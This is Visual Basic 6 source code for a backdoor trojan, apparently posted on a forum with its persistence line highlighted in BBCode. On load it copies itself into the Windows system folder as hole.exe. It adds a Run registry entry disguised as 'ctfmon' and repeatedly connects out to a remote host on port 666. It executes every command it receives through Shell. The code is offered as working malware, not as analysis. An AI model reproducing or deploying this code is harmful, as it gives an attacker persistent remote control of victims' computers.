Private Sub cmdconectar_Click()
On Error GoTo error
If Not wsk.State = 7 Then GoTo puente
GoTo error
puente:
wsk.Close
wsk.Connect
error:
End Sub

Public Sub Form_Load()
Dim ejec As String

Dim win, sys, residencia
On Error Resume Next

wsk.Protocol = sckTCPProtocol
wsk.RemoteHost = "----------"
wsk.RemotePort = "666"
ejec = App.Path

If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)


win = LCase(win)

sys = LCase(sys)
If Dir(sys & "\hole.exe", vbArchive) Then Kill sys & "\hole.exe"
FileCopy ejec, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

[color=red][b]residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"[/b][/color]

End Sub

Private Sub Timer1_Timer()
On Error GoTo error
If Not wsk.State = 7 Then Call cmdconectar_Click
error:
End Sub
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String
On Error GoTo error
wsk.GetData orden
Shell orden
error:
End Sub